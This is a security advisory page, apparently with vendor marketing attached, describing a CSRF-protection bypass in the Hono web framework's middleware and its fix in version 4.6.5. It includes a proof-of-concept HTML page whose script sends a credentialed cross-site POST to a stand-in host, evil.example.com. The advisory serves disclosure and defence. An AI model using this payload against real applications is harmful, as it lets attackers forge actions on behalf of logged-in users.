GHSA-2234-fmw7-43wr
MEDIUMHono allows bypass of CSRF Middleware by a request without Content-Type header.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.
hononpmDescription
Summary
Bypass CSRF Middleware by a request without Content-Type herader.
Details
Although the csrf middleware verifies the Content-Type Header, Hono always considers a request without a Content-Type header to be safe.
PoC
// server.js
import { Hono } from 'hono'
import { csrf }from 'hono/csrf'
const app = new Hono()
app.use(csrf())
app.get('/', (c) => {
return c.html('Hello Hono!')
})
app.post('/', async (c) => {
console.log("executed")
return c.text( await c.req.text())
})
Deno.serve(app.fetch)
<!-- PoC.html -->
<script>
async function myclick() {
await fetch("http://evil.example.com", {
method: "POST",
credentials: "include",
body:new Blob([`test`],{}),
});
}
</script>
<input type="button" onclick="myclick()" value="run" />
Similarly, the fetch API does not add a Content-Type header for requests that do not include a Body.
await fetch("http://localhost:8000", { method: "POST", credentials: "include"});
Impact
Bypass csrf protection implemented with hono csrf middleware.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | hono | all versions | 4.6.5 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for hono. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update hono to 4.6.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-2234-fmw7-43wr is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-2234-fmw7-43wr is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-2234-fmw7-43wr. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-2234-fmw7-43wr in your dependencies?
O3 detects GHSA-2234-fmw7-43wr across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.